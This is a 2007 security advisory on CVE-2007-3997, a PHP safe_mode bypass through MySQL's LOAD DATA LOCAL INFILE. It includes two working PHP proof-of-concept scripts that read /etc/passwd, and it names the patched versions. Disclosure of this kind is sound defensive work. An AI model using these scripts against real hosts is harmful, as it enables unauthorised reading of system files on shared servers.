Advisory Text :  

PHP MySQL/MySQLi Safe Mode Bypass Vulnerability

Affected Products:
<= PHP 5.2.3
<= PHP 4.4.7

Authors:
Mattias Bengtsson <mattias@secweb.se>
Philip Olausson <po@secweb.se>

Reported:
2007-06-05

Released:
2007-08-30

CVE:
CVE-2007-3997

Issue:

A vulnerability exists in PHP's MySQL and MySQLi extenstions which can
be used to bypass PHP's safe_mode security restriction.

Description:

PHP is a widely-used general-purpose scripting language that is
especially suited for Web development and can be embedded into HTML.

Details:

By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security
restriction. An important thing here is that we can't rely on the shared
hosts MySQLds local-infile=0 option. This because of it being a server
option, so it will not have any effect on the client. To disable this
option for MySQL we need to compile libmysqlclient with
--disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while
connecting. PHP does this when open_basedir are in effect but lacks a
check for safe_mode.

For MySQLi compiling with --disable-local-infile won't help because we
could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE,
1);

Proof Of Concepts:

MySQL:

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

Impact:

This issue could have major impact on shared hosting systems.

Solution:

Upgrade PHP to 5.2.4 or 4.4.8